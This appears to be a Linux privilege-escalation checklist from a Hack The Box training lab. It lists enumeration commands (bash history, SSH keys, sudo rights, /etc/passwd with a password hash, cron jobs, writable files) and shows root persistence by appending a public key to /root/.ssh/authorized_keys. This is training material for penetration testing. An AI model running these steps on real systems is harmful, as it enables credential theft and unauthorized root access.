Basics - Checklist

Checklist

Credentials HuntingTools

List Current Processes

ps aux | grep root
ps au

Home Directory Contents

ls /home

Check to see if files such as the .bash_history file are readable and contain any interesting commands, look for configuration files, and check to see if we can obtain copies of a user's SSH keys

Credentials Hunting

User's Home Directory Contents

ls -la /home/stacey.jenkins/

total 32
drwxr-xr-x 3 stacey.jenkins stacey.jenkins 4096 Aug 30 23:37 .
drwxr-xr-x 9 root           root           4096 Aug 30 23:33 ..
-rw------- 1 stacey.jenkins stacey.jenkins   41 Aug 30 23:35 .bash_history
-rw-r--r-- 1 stacey.jenkins stacey.jenkins  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 stacey.jenkins stacey.jenkins 3771 Sep  1  2015 .bashrc
-rw-r--r-- 1 stacey.jenkins stacey.jenkins   97 Aug 30 23:37 config.json
-rw-r--r-- 1 stacey.jenkins stacey.jenkins  655 May 16  2017 .profile
drwx------ 2 stacey.jenkins stacey.jenkins 4096 Aug 30 23:35 .ssh

Check the ARP cache to see what other hosts are being accessed and cross-reference these against any useable SSH private keys.

SSH Directory Contents

ls -l ~/.ssh

total 8
-rw------- 1 mrb3n mrb3n 1679 Aug 30 23:37 id_rsa
-rw-r--r-- 1 mrb3n mrb3n  393 Aug 30 23:37 id_rsa.pub

Bash History

history

    1  id
    2  cd /home/cliff.moore
    3  exit
    4  touch backup.sh
    5  tail /var/log/apache2/error.log
    6  ssh ec2-user@dmz02.inlanefreight.local
    7  history

Sudo

It is not uncommon to gain access as a user with full sudo privileges, meaning they can run any command as root. Issuing a simple sudo su command will immediately give you a root session.

sudo -l

Matching Defaults entries for sysadm on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysadm may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/tcpdump
Sudo Rights Abuse

Passwd

Occasionally, you will see password hashes directly in the /etc/passwd file

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
<...SNIP...>
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
mrb3n:x:1000:1000:mrb3n,,,:/home/mrb3n:/bin/bash
colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false
backupsvc:x:1001:1001::/home/backupsvc:
bob.jones:x:1002:1002::/home/bob.jones:
cliff.moore:x:1003:1003::/home/cliff.moore:
logger:x:1004:1004::/home/logger:
shared:x:1005:1005::/home/shared:
stacey.jenkins:x:1006:1006::/home/stacey.jenkins:
sysadm:$6$vdH7vuQIv6anIBWg$Ysk.UZzI7WxYUBYt8WRIWF0EzWlksOElDE0HLYinee38QI1A.0HW7WZCrUhZ9wwDz13bPpkTjNuRoUGYhwFE11:1007:1007::/home/sysadm:

Cron Jobs

0xss0rz@htb[/htb]$ ls -la /etc/cron.daily/

total 60
drwxr-xr-x  2 root root 4096 Aug 30 23:49 .
drwxr-xr-x 93 root root 4096 Aug 30 23:47 ..
-rwxr-xr-x  1 root root  376 Mar 31  2016 apport
-rwxr-xr-x  1 root root 1474 Sep 26  2017 apt-compat
-rwx--x--x  1 root root  379 Aug 30 23:49 backup
-rwxr-xr-x  1 root root  355 May 22  2012 bsdmainutils
-rwxr-xr-x  1 root root 1597 Nov 27  2015 dpkg
-rwxr-xr-x  1 root root  372 May  6  2015 logrotate
-rwxr-xr-x  1 root root 1293 Nov  6  2015 man-db
-rwxr-xr-x  1 root root  539 Jul 16  2014 mdadm
-rwxr-xr-x  1 root root  435 Nov 18  2014 mlocate
-rwxr-xr-x  1 root root  249 Nov 12  2015 passwd
-rw-r--r--  1 root root  102 Apr  5  2016 .placeholder
-rwxr-xr-x  1 root root 3449 Feb 26  2016 popularity-contest
-rwxr-xr-x  1 root root  214 May 24  2016 update-notifier-common

File Systems & Additional Drives

 lsblk

NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   30G  0 disk 
├─sda1   8:1    0   29G  0 part /
├─sda2   8:2    0    1K  0 part 
└─sda5   8:5    0  975M  0 part [SWAP]
sr0     11:0    1  848M  0 rom

Find Writable Directories

find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null

/dmz-backups
/tmp
/tmp/VMwareDnD
/tmp/.XIM-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/systemd-private-8a2c51fcbad240d09578916b47b0bb17-systemd-timesyncd.service-TIecv0/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/proc
/dev/mqueue
/dev/shm
/var/tmp
/var/tmp/systemd-private-8a2c51fcbad240d09578916b47b0bb17-systemd-timesyncd.service-hm6Qdl/tmp
/var/crash
/run/lock
Cron Job Abuse
/.ssh/

If we find ourselves with write access to a users/.ssh/ directory, we can place our public key in the user's ssh directory at /home/user/.ssh/authorized_keys.

SSH (22)
ssh-keygen -f key

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): *******
Enter same passphrase again: *******

Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
SHA256:...SNIP... user@parrot
The key's randomart image is:
+---[RSA 3072]----+
|   ..o.++.+      |
...SNIP...
|     . ..oo+.    |
+----[SHA256]-----+

Let us copy key.pub, then on the remote machine, we will add it into /root/.ssh/authorized_keys:

user@remotehost$ echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys

Now, the remote server should allow us to log in as that user by using our private key:

0xss0rz@htb[/htb]$ ssh root@10.10.10.10 -i key

root@remotehost#

Find Writable Files

find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

/etc/cron.daily/backup
/dmz-backups/backup.sh
/proc
/sys/fs/cgroup/memory/init.scope/cgroup.event_control

<SNIP>

/home/backupsvc/backup.sh

<SNIP>
Cron Job Abuse

Interesting Files

Unshadow

Hashes

Resources

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